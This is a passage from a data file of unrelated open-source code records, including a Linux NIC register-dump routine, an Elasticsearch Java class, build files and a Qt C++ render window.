*/\n\tREGISTER_BZ(DP_CTRL),\n\tREGISTER_AZ(MEM_STAT),\n\tREGISTER_AZ(CS_DEBUG),\n\tREGISTER_AZ(ALTERA_BUILD),\n\tREGISTER_AZ(CSR_SPARE),\n\tREGISTER_AB(PCIE_SD_CTL0123),\n\tREGISTER_AB(PCIE_SD_CTL45),\n\tREGISTER_AB(PCIE_PCS_CTL_STAT),\n\t/* DEBUG_DATA_OUT is not used */\n\t/* DRV_EV is WO */\n\tREGISTER_AZ(EVQ_CTL),\n\tREGISTER_AZ(EVQ_CNT1),\n\tREGISTER_AZ(EVQ_CNT2),\n\tREGISTER_AZ(BUF_TBL_CFG),\n\tREGISTER_AZ(SRM_RX_DC_CFG),\n\tREGISTER_AZ(SRM_TX_DC_CFG),\n\tREGISTER_AZ(SRM_CFG),\n\t/* BUF_TBL_UPD is WO */\n\tREGISTER_AZ(SRM_UPD_EVQ),\n\tREGISTER_AZ(SRAM_PARITY),\n\tREGISTER_AZ(RX_CFG),\n\tREGISTER_BZ(RX_FILTER_CTL),\n\t/* RX_FLUSH_DESCQ is WO */\n\tREGISTER_AZ(RX_DC_CFG),\n\tREGISTER_AZ(RX_DC_PF_WM),\n\tREGISTER_BZ(RX_RSS_TKEY),\n\t/* RX_NODESC_DROP is RC */\n\tREGISTER_AA(RX_SELF_RST),\n\t/* RX_DEBUG, RX_PUSH_DROP are not used */\n\tREGISTER_CZ(RX_RSS_IPV6_REG1),\n\tREGISTER_CZ(RX_RSS_IPV6_REG2),\n\tREGISTER_CZ(RX_RSS_IPV6_REG3),\n\t/* TX_FLUSH_DESCQ is WO */\n\tREGISTER_AZ(TX_DC_CFG),\n\tREGISTER_AA(TX_CHKSM_CFG),\n\tREGISTER_AZ(TX_CFG),\n\t/* TX_PUSH_DROP is not used */\n\tREGISTER_AZ(TX_RESERVED),\n\tREGISTER_BZ(TX_PACE),\n\t/* TX_PACE_DROP_QID is RC */\n\tREGISTER_BB(TX_VLAN),\n\tREGISTER_BZ(TX_IPFIL_PORTEN),\n\tREGISTER_AB(MD_TXD),\n\tREGISTER_AB(MD_RXD),\n\tREGISTER_AB(MD_CS),\n\tREGISTER_AB(MD_PHY_ADR),\n\tREGISTER_AB(MD_ID),\n\t/* MD_STAT is RC */\n\tREGISTER_AB(MAC_STAT_DMA),\n\tREGISTER_AB(MAC_CTRL),\n\tREGISTER_BB(GEN_MODE),\n\tREGISTER_AB(MAC_MC_HASH_REG0),\n\tREGISTER_AB(MAC_MC_HASH_REG1),\n\tREGISTER_AB(GM_CFG1),\n\tREGISTER_AB(GM_CFG2),\n\t/* GM_IPG and GM_HD are not used */\n\tREGISTER_AB(GM_MAX_FLEN),\n\t/* GM_TEST is not used */\n\tREGISTER_AB(GM_ADR1),\n\tREGISTER_AB(GM_ADR2),\n\tREGISTER_AB(GMF_CFG0),\n\tREGISTER_AB(GMF_CFG1),\n\tREGISTER_AB(GMF_CFG2),\n\tREGISTER_AB(GMF_CFG3),\n\tREGISTER_AB(GMF_CFG4),\n\tREGISTER_AB(GMF_CFG5),\n\tREGISTER_BB(TX_SRC_MAC_CTL),\n\tREGISTER_AB(XM_ADR_LO),\n\tREGISTER_AB(XM_ADR_HI),\n\tREGISTER_AB(XM_GLB_CFG),\n\tREGISTER_AB(XM_TX_CFG),\n\tREGISTER_AB(XM_RX_CFG),\n\tREGISTER_AB(XM_MGT_INT_MASK),\n\tREGISTER_AB(XM_FC),\n\tREGISTER_AB(XM_PAUSE_TIME),\n\tREGISTER_AB(XM_TX_PARAM),\n\tREGISTER_AB(XM_RX_PARAM),\n\t/* XM_MGT_INT_MSK (note no 'A') is RC */\n\tREGISTER_AB(XX_PWR_RST),\n\tREGISTER_AB(XX_SD_CTL),\n\tREGISTER_AB(XX_TXDRV_CTL),\n\t/* XX_PRBS_CTL, XX_PRBS_CHK and XX_PRBS_ERR are not used */\n\t/* XX_CORE_STAT is partly RC */\n};\n\nstruct efx_nic_reg_table {\n\tu32 offset:24;\n\tu32 min_revision:2, max_revision:2;\n\tu32 step:6, rows:21;\n};\n\n#define REGISTER_TABLE_DIMENSIONS(_, offset, min_rev, max_rev, step, rows) { \\\n\toffset,\t\t\t\t\t\t\t\t\\\n\tREGISTER_REVISION_ ## min_rev, REGISTER_REVISION_ ## max_rev,\t\\\n\tstep, rows\t\t\t\t\t\t\t\\\n}\n#define REGISTER_TABLE(name, min_rev, max_rev) \t\t\t\t\\\n\tREGISTER_TABLE_DIMENSIONS(\t\t\t\t\t\\\n\t\tname, FR_ ## min_rev ## max_rev ## _ ## name,\t\t\\\n\t\tmin_rev, max_rev,\t\t\t\t\t\\\n\t\tFR_ ## min_rev ## max_rev ## _ ## name ## _STEP,\t\\\n\t\tFR_ ## min_rev ## max_rev ## _ ## name ## _ROWS)\n#define REGISTER_TABLE_AA(name) REGISTER_TABLE(name, A, A)\n#define REGISTER_TABLE_AZ(name) REGISTER_TABLE(name, A, Z)\n#define REGISTER_TABLE_BB(name) REGISTER_TABLE(name, B, B)\n#define REGISTER_TABLE_BZ(name) REGISTER_TABLE(name, B, Z)\n#define REGISTER_TABLE_BB_CZ(name)\t\t\t\t\t\\\n\tREGISTER_TABLE_DIMENSIONS(name, FR_BZ_ ## name, B, B,\t\t\\\n\t\t\t\t FR_BZ_ ## name ## _STEP,\t\t\\\n\t\t\t\t FR_BB_ ## name ## _ROWS),\t\t\\\n\tREGISTER_TABLE_DIMENSIONS(name, FR_BZ_ ## name, C, Z,\t\t\\\n\t\t\t\t FR_BZ_ ## name ## _STEP,\t\t\\\n\t\t\t\t FR_CZ_ ## name ## _ROWS)\n#define REGISTER_TABLE_CZ(name) REGISTER_TABLE(name, C, Z)\n\nstatic const struct efx_nic_reg_table efx_nic_reg_tables[] = {\n\t/* DRIVER is not used */\n\t/* EVQ_RPTR, TIMER_COMMAND, USR_EV and {RX,TX}_DESC_UPD are WO */\n\tREGISTER_TABLE_BB(TX_IPFIL_TBL),\n\tREGISTER_TABLE_BB(TX_SRC_MAC_TBL),\n\tREGISTER_TABLE_AA(RX_DESC_PTR_TBL_KER),\n\tREGISTER_TABLE_BB_CZ(RX_DESC_PTR_TBL),\n\tREGISTER_TABLE_AA(TX_DESC_PTR_TBL_KER),\n\tREGISTER_TABLE_BB_CZ(TX_DESC_PTR_TBL),\n\tREGISTER_TABLE_AA(EVQ_PTR_TBL_KER),\n\tREGISTER_TABLE_BB_CZ(EVQ_PTR_TBL),\n\t/* The register buffer is allocated with slab, so we can't\n\t * reasonably read all of the buffer table (up to 8MB!).\n\t * However this driver will only use a few entries. Reading\n\t * 1K entries allows for some expansion of queue count and\n\t * size before we need to change the version. */\n\tREGISTER_TABLE_DIMENSIONS(BUF_FULL_TBL_KER, FR_AA_BUF_FULL_TBL_KER,\n\t\t\t\t A, A, 8, 1024),\n\tREGISTER_TABLE_DIMENSIONS(BUF_FULL_TBL, FR_BZ_BUF_FULL_TBL,\n\t\t\t\t B, Z, 8, 1024),\n\t/* RX_FILTER_TBL{0,1} is huge and not used by this driver */\n\tREGISTER_TABLE_CZ(RX_MAC_FILTER_TBL0),\n\tREGISTER_TABLE_BB_CZ(TIMER_TBL),\n\tREGISTER_TABLE_BB_CZ(TX_PACE_TBL),\n\tREGISTER_TABLE_BZ(RX_INDIRECTION_TBL),\n\t/* TX_FILTER_TBL0 is huge and not used by this driver */\n\tREGISTER_TABLE_CZ(TX_MAC_FILTER_TBL0),\n\tREGISTER_TABLE_CZ(MC_TREG_SMEM),\n\t/* MSIX_PBA_TABLE is not mapped */\n\t/* SRM_DBG is not mapped (and is redundant with BUF_FLL_TBL) */\n};\n\nsize_t efx_nic_get_regs_len(struct efx_nic *efx)\n{\n\tconst struct efx_nic_reg *reg;\n\tconst struct efx_nic_reg_table *table;\n\tsize_t len = 0;\n\n\tfor (reg = efx_nic_regs;\n\t reg < efx_nic_regs + ARRAY_SIZE(efx_nic_regs);\n\t reg++)\n\t\tif (efx->type->revision >= reg->min_revision &&\n\t\t efx->type->revision <= reg->max_revision)\n\t\t\tlen += sizeof(efx_oword_t);\n\n\tfor (table = efx_nic_reg_tables;\n\t table < efx_nic_reg_tables + ARRAY_SIZE(efx_nic_reg_tables);\n\t table++)\n\t\tif (efx->type->revision >= table->min_revision &&\n\t\t efx->type->revision <= table->max_revision)\n\t\t\tlen += table->rows * min_t(size_t, table->step, 16);\n\n\treturn len;\n}\n\nvoid efx_nic_get_regs(struct efx_nic *efx, void *buf)\n{\n\tconst struct efx_nic_reg *reg;\n\tconst struct efx_nic_reg_table *table;\n\n\tfor (reg = efx_nic_regs;\n\t reg < efx_nic_regs + ARRAY_SIZE(efx_nic_regs);\n\t reg++) {\n\t\tif (efx->type->revision >= reg->min_revision &&\n\t\t efx->type->revision <= reg->max_revision) {\n\t\t\tefx_reado(efx, (efx_oword_t *)buf, reg->offset);\n\t\t\tbuf += sizeof(efx_oword_t);\n\t\t}\n\t}\n\n\tfor (table = efx_nic_reg_tables;\n\t table < efx_nic_reg_tables + ARRAY_SIZE(efx_nic_reg_tables);\n\t table++) {\n\t\tsize_t size, i;\n\n\t\tif (!(efx->type->revision >= table->min_revision &&\n\t\t efx->type->revision <= table->max_revision))\n\t\t\tcontinue;\n\n\t\tsize = min_t(size_t, table->step, 16);\n\n\t\tfor (i = 0; i < table->rows; i++) {\n\t\t\tswitch (table->step) {\n\t\t\tcase 4: /* 32-bit register or SRAM */\n\t\t\t\tefx_readd_table(efx, buf, table->offset, i);\n\t\t\t\tbreak;\n\t\t\tcase 8: /* 64-bit SRAM */\n\t\t\t\tefx_sram_readq(efx,\n\t\t\t\t\t efx->membase + table->offset,\n\t\t\t\t\t buf, i);\n\t\t\t\tbreak;\n\t\t\tcase 16: /* 128-bit register */\n\t\t\t\tefx_reado_table(efx, buf, table->offset, i);\n\t\t\t\tbreak;\n\t\t\tcase 32: /* 128-bit register, interleaved */\n\t\t\t\tefx_reado_table(efx, buf, table->offset, 2 * i);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tWARN_ON(1);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tbuf += size;\n\t\t}\n\t}\n}\n"} +{"text": "/*\n * Licensed to Elasticsearch under one or more contributor\n * license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright\n * ownership. Elasticsearch licenses this file to you under\n * the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.elasticsearch.client.security;\n\nimport org.elasticsearch.common.xcontent.XContentParser;\nimport org.elasticsearch.common.xcontent.XContentParserUtils;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Get role mappings response\n */\npublic final class GetRoleMappingsResponse {\n\n private final List mappings;\n\n public GetRoleMappingsResponse(List mappings) {\n this.mappings = Collections.unmodifiableList(mappings);\n }\n\n public List getMappings() {\n return mappings;\n }\n\n @Override\n public boolean equals(Object o) {\n if (this == o) return true;\n if (o == null || getClass() != o.getClass()) return false;\n final GetRoleMappingsResponse that = (GetRoleMappingsResponse) o;\n return this.mappings.equals(that.mappings);\n }\n\n @Override\n public int hashCode() {\n return mappings.hashCode();\n }\n\n public static GetRoleMappingsResponse fromXContent(XContentParser parser) throws IOException {\n final List roleMappings = new ArrayList<>();\n\n XContentParserUtils.ensureExpectedToken(XContentParser.Token.START_OBJECT, parser.nextToken(), parser::getTokenLocation);\n XContentParser.Token token;\n while ((token = parser.nextToken()) != XContentParser.Token.END_OBJECT) {\n XContentParserUtils.ensureExpectedToken(XContentParser.Token.FIELD_NAME, token, parser::getTokenLocation);\n roleMappings.add(ExpressionRoleMapping.PARSER.parse(parser, parser.currentName()));\n }\n\n return new GetRoleMappingsResponse(roleMappings);\n }\n}\n"} +{"text": "# tfbsConsSites.sql was originally generated by the autoSql program, which also \n# generated tfbsConsSites.c and tfbsConsSites.h. This creates the database representation of\n# an object which can be loaded and saved from RAM in a fairly \n# automatic way.\n\n#tfbsConsSites Data\nCREATE TABLE tfbsConsSites (\n bin smallint not null,\t# bin for browser speed up\n chrom varchar(255) not null,\t# Human chromosome\n chromStart int unsigned not null,\t# Start position in chromosome\n chromEnd int unsigned not null,\t# End position in chromosome\n name varchar(255) not null,\t# Name of item\n score int unsigned not null,\t# Score from 0-1000\n strand char(1) not null,\t# + or -\n zScore float not null,\t# zScore\n #Indices\n INDEX(name(10)),\n INDEX(chrom(12),bin)\n);\n"} +{"text": "# QUANTUMBLACK CONFIDENTIAL\n#\n# Copyright (c) 2016 - present QuantumBlack Visual Analytics Ltd. All\n# Rights Reserved.\n#\n# NOTICE: All information contained herein is, and remains the property of\n# QuantumBlack Visual Analytics Ltd. and its suppliers, if any. The\n# intellectual and technical concepts contained herein are proprietary to\n# QuantumBlack Visual Analytics Ltd. and its suppliers and may be covered\n# by UK and Foreign Patents, patents in process, and are protected by trade\n# secret or copyright law. Dissemination of this information or\n# reproduction of this material is strictly forbidden unless prior written\n# permission is obtained from QuantumBlack Visual Analytics Ltd.\n\nimport re\nfrom os import path\n\nfrom setuptools import find_packages, setup\n\nname = \"qbstyles\"\nhere = path.abspath(path.dirname(__file__))\n\n# get package version\nwith open(path.join(here, name, \"__init__.py\"), encoding=\"utf-8\") as f:\n version = re.search('__version__ = \"([^\\']+?)\"', f.read()).group(1)\n\n# get the dependencies and installs\nwith open(\"requirements.txt\", \"r\", encoding=\"utf-8\") as f:\n requires = [x.strip() for x in f if x.strip()]\n\n# Get the long description from the README file\nwith open(path.join(here, \"README.md\"), encoding=\"utf-8\") as f:\n readme = f.read()\n\nsetup(\n name=name,\n version=version,\n description=\"QB styles for common plotting libraries\",\n long_description=readme,\n long_description_content_type='text/markdown',\n url=\"https://github.com/quantumblacklabs/qbstyles\",\n author=\"QuantumBlack Labs\",\n author_email=\"opensource@quantumblack.com\",\n python_requires=\">=3.5\",\n packages=find_packages(),\n include_package_data=True,\n install_requires=requires,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n ],\n license=\"Apache 2.0\",\n)\n"} +{"text": "\n\n\n \n\n\n

    Redirecting to ../../../../libc/unix/notbsd/constant.STDOUT_FILENO.html...

    \n \n\n"} +{"text": "{:paths [\"src\"]\n :deps\n {org.clojure/clojure {:mvn/version \"1.9.0\"}\n juxt.edge/lib.app {:local/root \"../lib.app\"}\n\n yada {:mvn/version \"1.3.0-alpha7\"}\n juxt.edge/yada.ig {:local/root \"../lib.ig.yada\"}\n juxt.edge/bidi.ig {:local/root \"../lib.ig.bidi\"}\n\n integrant {:mvn/version \"0.7.0\"}\n\n org.clojure/tools.logging {:mvn/version \"0.5.0-alpha\"}}\n\n :aliases\n {:dev\n {:extra-paths [\"dev\"]\n :extra-deps\n {juxt.edge/lib.app.dev {:local/root \"../lib.app.dev\"}}}\n\n :prod\n {:extra-deps\n {juxt.edge/lib.app.prod {:local/root \"../lib.app.prod\"}}}}}\n"} +{"text": "# Windows/Cygwin support\nifdef windir\n WINDOWS := 1\n CYGWIN := 0\nelse\n ifdef WINDIR\n WINDOWS := 1\n CYGWIN := 1\n else\n WINDOWS := 0\n endif\nendif\nifeq ($(WINDOWS),1)\n EXEEXT := .exe\n DLLEXT := .dll\n DEVNUL := nul\n ifeq ($(CYGWIN),1)\n PATHSEP := /\n else\n PATHSEP := $(strip \\ )\n endif\nelse\n EXEEXT :=\n DLLEXT := .so\n DEVNUL := /dev/null\n PATHSEP := /\nendif\n\nCFG ?= Debug\nifeq ($(CFG),Debug)\n all: debug\nelse\n all: release\nendif\n\nOLDGCC ?= N\n\nDEBUG := DebugDir\nRELEASE := ReleaseDir\n\n$(DEBUG)/%.o: %.c\n\t$(CC) $(CFLAGS) $(CPPFLAGS) $(DBGFLAGS) $(TARGET_ARCH) -c -o $@ $<\n\n$(RELEASE)/%.o: %.c\n\t$(CC) $(CFLAGS) $(CPPFLAGS) $(RELFLAGS) $(TARGET_ARCH) -c -o $@ $<\n\n$(DEBUG)/%.o: %.cpp\n\t$(CXX) $(CXXFLAGS) $(CPPFLAGS) $(DBGFLAGS) $(TARGET_ARCH) -c -o $@ $<\n\n$(RELEASE)/%.o: %.cpp\n\t$(CXX) $(CXXFLAGS) $(CPPFLAGS) $(RELFLAGS) $(TARGET_ARCH) -c -o $@ $<\n\nifeq ($(OLDGCC),N)\n\n$(DEBUG)/%.dep: %.c\n\t$(CC) -MM -MT $(patsubst %.dep,%.o,$@) $(CFLAGS) $(CPPFLAGS) $(DBGFLAGS) $(TARGET_ARCH) -o $@ $<\n\n$(RELEASE)/%.dep: %.c\n\t$(CC) -MM -MT $(patsubst %.dep,%.o,$@) $(CFLAGS) $(CPPFLAGS) $(RELFLAGS) $(TARGET_ARCH) -o $@ $<\n\n$(DEBUG)/%.dep: %.cpp\n\t$(CXX) -MM -MT $(patsubst %.dep,%.o,$@) $(CXXFLAGS) $(CPPFLAGS) $(DBGFLAGS) $(TARGET_ARCH) -o $@ $<\n\n$(RELEASE)/%.dep: %.cpp\n\t$(CXX) -MM -MT $(patsubst %.dep,%.o,$@) $(CXXFLAGS) $(CPPFLAGS) $(RELFLAGS) $(TARGET_ARCH) -o $@ $<\n\nelse\n\n$(DEBUG)/%.dep: %.c\n\t$(CC) -MM $(CFLAGS) $(CPPFLAGS) $(DBGFLAGS) $(TARGET_ARCH) $< | sed \"s!^!$(DEBUG)/!\" > $@\n\n$(RELEASE)/%.dep: %.c\n\t$(CC) -MM $(CFLAGS) $(CPPFLAGS) $(RELFLAGS) $(TARGET_ARCH) $< | sed \"s!^!$(RELEASE)/!\" > $@\n\n$(DEBUG)/%.dep: %.cpp\n\t$(CXX) -MM $(CXXFLAGS) $(CPPFLAGS) $(DBGFLAGS) $(TARGET_ARCH) $< | sed \"s!^!$(DEBUG)/!\" > $@\n\n$(RELEASE)/%.dep: %.cpp\n\t$(CXX) -MM $(CXXFLAGS) $(CPPFLAGS) $(RELFLAGS) $(TARGET_ARCH) $< | sed \"s!^!$(RELEASE)/!\" > $@\n\nendif\n\nCC = gcc\nCXX = g++\nAR = ar\nLD = $(CXX) $(CXXFLAGS) $(TARGET_ARCH)\n\nINCLUDE = -I. $(patsubst %,-I%,$(VPATH))\nCFLAGS = -W -Wall $(INCLUDE)\nCXXFLAGS = $(CFLAGS)\nDBGFLAGS = -D_DEBUG -g\nRELFLAGS = -DNDEBUG -O2\nCPPFLAGS =\n\nifeq ($(OLDGCC),N)\n CFLAGS += -fmessage-length=0\nendif\n\nHFILES = $(wildcard $(patsubst -I%,%/*.h,$(INCLUDE)))\nOBJFILES = $(CFILES:.c=.o) $(CXXFILES:.cpp=.o)\n\nDEBUG_OBJS = $(patsubst %.o,$(DEBUG)/%.o,$(OBJFILES))\nRELEASE_OBJS = $(patsubst %.o,$(RELEASE)/%.o,$(OBJFILES))\n\nDEBUG_DEPS = $(patsubst %.o,%.dep,$(DEBUG_OBJS))\nRELEASE_DEPS = $(patsubst %.o,%.dep,$(RELEASE_OBJS))\n\nCFILES := linebreak.c linebreakdata.c linebreakdef.c\nCXXFILES :=\n\nLIBS :=\n\nTARGET = liblinebreak.a\nDEBUG_TARGET = $(patsubst %,$(DEBUG)/%,$(TARGET))\nRELEASE_TARGET = $(patsubst %,$(RELEASE)/%,$(TARGET))\n\ndebug: $(DEBUG) $(DEBUG_TARGET)\n\nrelease: $(RELEASE) $(RELEASE_TARGET)\n\n\n\n$(DEBUG):\n\tmkdir $(DEBUG)\n\n$(RELEASE):\n\tmkdir $(RELEASE)\n\n$(DEBUG_TARGET): $(DEBUG_DEPS) $(DEBUG_OBJS)\n\t$(AR) -r $(DEBUG_TARGET) $(DEBUG_OBJS)\n\n$(RELEASE_TARGET): $(RELEASE_DEPS) $(RELEASE_OBJS)\n\t$(AR) -r $(RELEASE_TARGET) $(RELEASE_OBJS)\n\ndoc:\n\tdoxygen\n\nlinebreakdata: filter_dup$(EXEEXT) LineBreak.txt\n\tsed -n -f LineBreak1.sed LineBreak.txt > tmp.txt\n\tsed -f LineBreak2.sed tmp.txt | .$(PATHSEP)filter_dup > tmp.c\n\thead -2 LineBreak.txt > tmp.txt\n\tcat linebreakdata1.tmpl tmp.txt linebreakdata2.tmpl tmp.c linebreakdata3.tmpl > linebreakdata.c\n\t$(RM) tmp.txt tmp.c\n\nfilter_dup$(EXEEXT): filter_dup.c\n\tgcc -O2 -o filter_dup$(EXEEXT) $<\n\nLineBreak.txt:\n\twget http://unicode.org/Public/UNIDATA/LineBreak.txt\n\n.PHONY: all debug release clean distclean doc linebreakdata\n\nclean:\n\t$(RM) $(DEBUG)/*.o $(DEBUG)/*.dep $(DEBUG_TARGET)\n\t$(RM) $(RELEASE)/*.o $(RELEASE)/*.dep $(RELEASE_TARGET)\n\ndistclean: clean\n\t$(RM) $(DEBUG)/* $(RELEASE)/* filter_dup$(EXEEXT) tags LineBreak.txt\n\t-rmdir $(DEBUG) 2> $(DEVNUL)\n\t-rmdir $(RELEASE) 2> $(DEVNUL)\n\n-include $(wildcard $(DEBUG)/*.dep) $(wildcard $(RELEASE)/*.dep)\n"} +{"text": "#Copyright (c) Microsoft. All rights reserved.\n#Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\ncmake_minimum_required(VERSION 2.8.11)\n\ncompileAsC11()\nset(theseTestsName iothubtransport_amqp_cbs_auth_ut )\n\nif(WIN32)\n if (ARCHITECTURE STREQUAL \"x86_64\")\n\t\tset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} /bigobj\")\n\t\tset(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} /bigobj\")\n\tendif()\nendif()\n\nset(${theseTestsName}_test_files\n\t${theseTestsName}.c\n)\n\nset(${theseTestsName}_c_files\n\t../../src/iothubtransport_amqp_cbs_auth.c\n)\n\nset(${theseTestsName}_h_files\n)\n\nbuild_c_test_artifacts(${theseTestsName} ON \"tests/azure_iothub_client_tests\")"} +{"text": "import misago from \"misago/index\"\nimport RequestActivationLink from \"misago/components/request-activation-link\"\nimport mount from \"misago/utils/mount-component\"\n\nexport default function initializer() {\n if (document.getElementById(\"request-activation-link-mount\")) {\n mount(RequestActivationLink, \"request-activation-link-mount\", false)\n }\n}\n\nmisago.addInitializer({\n name: \"component:request-activation-link\",\n initializer: initializer,\n after: \"store\"\n})\n"} +{"text": "defmodule CodeFund.Repo.Migrations.AddSlugToProperty do\n use Ecto.Migration\n\n def change do\n alter table(:properties) do\n add :slug, :string\n end\n end\nend\n"} +{"text": "/* @flow strict-local */\nimport type { ApiResponse, Auth } from './transportTypes';\nimport type { UserPresence } from './apiTypes';\nimport { apiPost } from './apiFetch';\n\ntype ApiResponseWithPresence = {|\n ...ApiResponse,\n server_timestamp: number,\n presences: {| [email: string]: UserPresence |},\n|};\n\n/** See https://zulip.readthedocs.io/en/latest/subsystems/presence.html . */\nexport default (\n auth: Auth,\n isActive: boolean = true,\n newUserInput: boolean = false,\n): Promise =>\n apiPost(auth, 'users/me/presence', {\n status: isActive ? 'active' : 'idle',\n new_user_input: newUserInput,\n });\n"} +{"text": "#include \"RenderWindow.hpp\"\n#include \"MainWindow.hpp\"\n\n#include \"io/DirectoryChange.hpp\"\n#include \"io/FileUtils.hpp\"\n\n#include \n#include \n#include \n\nnamespace Tungsten {\n\nRenderWindow::RenderWindow(QWidget *proxyParent, MainWindow *parent)\n: QWidget(proxyParent),\n _parent(*parent),\n _scene(nullptr),\n _rendering(false),\n _autoRefresh(false),\n _zoom(1.0f),\n _panX(0.0f),\n _panY(0.0f),\n _exposure(0.0f),\n _pow2Exposure(1.0f),\n _gamma(2.2f)\n{\n connect(this, SIGNAL(rendererFinished()), SLOT(finishRender()), Qt::QueuedConnection);\n\n new QShortcut(QKeySequence(\"Space\"), this, SLOT(toggleRender()));\n new QShortcut(QKeySequence(\"+\"), this, SLOT(zoomIn()));\n new QShortcut(QKeySequence(\"-\"), this, SLOT(zoomOut()));\n new QShortcut(QKeySequence(\"F5\"), this, SLOT(refresh()));\n new QShortcut(QKeySequence(\"R\"), this, SLOT(toggleAutoRefresh()));\n new QShortcut(QKeySequence(\"Home\"), this, SLOT(resetView()));\n new QShortcut(QKeySequence(\"Ctrl+Tab\"), this, SLOT(togglePreview()));\n\n _sppLabel = new QLabel(this);\n _statusLabel = new QLabel(this);\n\n _sppLabel->setMinimumWidth(100);\n}\n\nvoid RenderWindow::addStatusWidgets(QStatusBar *statusBar)\n{\n statusBar->addPermanentWidget(_sppLabel, 0);\n statusBar->addPermanentWidget(_statusLabel, 1);\n}\n\nvoid RenderWindow::paintEvent(QPaintEvent *event)\n{\n QPainter painter(this);\n painter.fillRect(0, 0, width(), height(), QColor(Qt::darkGray));\n\n if (!_image)\n return;\n\n int offsetX = width()/2 + (_panX - _image-> width()/2)*_zoom;\n int offsetY = height()/2 + (_panY - _image->height()/2)*_zoom;\n\n painter.translate(QPoint(offsetX, offsetY));\n painter.scale(_zoom, _zoom);\n\n QRect exposedRect = painter.matrix().inverted()\n .mapRect(event->rect())\n .adjusted(-1, -1, 1, 1);\n painter.drawImage(exposedRect, *_image, exposedRect);\n}\n\nvoid RenderWindow::mouseMoveEvent(QMouseEvent *eventMove)\n{\n _panX += (eventMove->pos().x() - _lastMousePos.x())/_zoom;\n _panY += (eventMove->pos().y() - _lastMousePos.y())/_zoom;\n _lastMousePos = eventMove->pos();\n\n update();\n}\n\nvoid RenderWindow::mousePressEvent(QMouseEvent *eventMove)\n{\n _lastMousePos = eventMove->pos();\n}\n\nvoid RenderWindow::wheelEvent(QWheelEvent *wheelEvent)\n{\n if (wheelEvent->delta() < 0)\n zoomOut();\n else\n zoomIn();\n}\n\nvoid RenderWindow::sceneChanged()\n{\n _scene = _parent.scene();\n if (_flattenedScene)\n _flattenedScene->integrator().abortRender();\n _flattenedScene.reset();\n _rendering = false;\n\n if (_scene) {\n Vec2u resolution = _scene->camera()->resolution();\n _image.reset(new QImage(QSize(resolution.x(), resolution.y()), QImage::Format_ARGB32));\n _image->fill(Qt::black);\n repaint();\n }\n}\n\nQRgb RenderWindow::tonemap(const Vec3f &c) const\n{\n Vec3i pixel(clamp(c*_pow2Exposure*255.0f, Vec3f(0.0f), Vec3f(255.0f)));\n\n return qRgb(pixel.x(), pixel.y(), pixel.z());\n}\n\nvoid RenderWindow::updateStatus()\n{\n if (_scene) {\n int currentSpp = _flattenedScene ?\n _flattenedScene->integrator().currentSpp()\n : _scene->rendererSettings().spp();\n\n _sppLabel->setText(QString(\"%1/%2 spp\").arg(currentSpp).arg(_scene->rendererSettings().spp()));\n if (_rendering)\n _statusLabel->setText(\"Rendering...\");\n else\n _statusLabel->setText(\"Render finished\");\n } else {\n _sppLabel->setText(\"\");\n _statusLabel->setText(\"\");\n }\n}\n\nvoid RenderWindow::startRender()\n{\n if (!_scene)\n return;\n\n if (!_flattenedScene) {\n _flattenedScene.reset(_scene->makeTraceable());\n\n _image->fill(Qt::black);\n repaint();\n }\n\n auto finishCallback = [&]() {\n emit rendererFinished();\n };\n\n _rendering = true;\n updateStatus();\n\n _flattenedScene->integrator().startRender(finishCallback);\n}\n\nvoid RenderWindow::abortRender()\n{\n _rendering = false;\n if (_flattenedScene) {\n _flattenedScene->integrator().abortRender();\n\n refresh();\n updateStatus();\n\n _flattenedScene.reset();\n }\n}\n\nvoid RenderWindow::finishRender()\n{\n if (_flattenedScene)\n _flattenedScene->integrator().waitForCompletion();\n if (!_rendering)\n return;\n _rendering = false;\n refresh();\n\n if (_scene && !_flattenedScene->integrator().done())\n startRender();\n else {\n if (_scene) {\n DirectoryChange context(_scene->path().parent());\n _flattenedScene->integrator().saveOutputs();\n }\n _flattenedScene.reset();\n\n updateStatus();\n }\n}\n\nvoid RenderWindow::refresh()\n{\n if (!_image || !_flattenedScene)\n return;\n\n uint32 w = _image->width(), h = _image->height();\n QRgb *pixels = reinterpret_cast(_image->bits());\n\n for (uint32 y = 0, idx = 0; y < h; ++y)\n for (uint32 x = 0; x < w; ++x, ++idx)\n pixels[idx] = tonemap(_scene->camera()->get(x, y));\n\n update();\n\n if (_autoRefresh)\n QTimer::singleShot(2000, this, SLOT(refresh()));\n}\n\nvoid RenderWindow::toggleRender()\n{\n if (_rendering)\n abortRender();\n else\n startRender();\n}\n\nvoid RenderWindow::zoomIn()\n{\n _zoom = clamp(_zoom*1.25f, 0.05f, 20.0f);\n update();\n}\n\nvoid RenderWindow::zoomOut()\n{\n _zoom = clamp(_zoom/1.25f, 0.05f, 20.0f);\n update();\n}\n\nvoid RenderWindow::resetView()\n{\n _zoom = 1.0f;\n _panX = _panY = 0.0f;\n update();\n}\n\nvoid RenderWindow::togglePreview()\n{\n if (!_rendering)\n _parent.togglePreview();\n}\n\nvoid RenderWindow::toggleAutoRefresh()\n{\n _autoRefresh = !_autoRefresh;\n if (_autoRefresh)\n QTimer::singleShot(2000, this, SLOT(refresh()));\n}\n\n}\n"} +{"text": "-----BEGIN 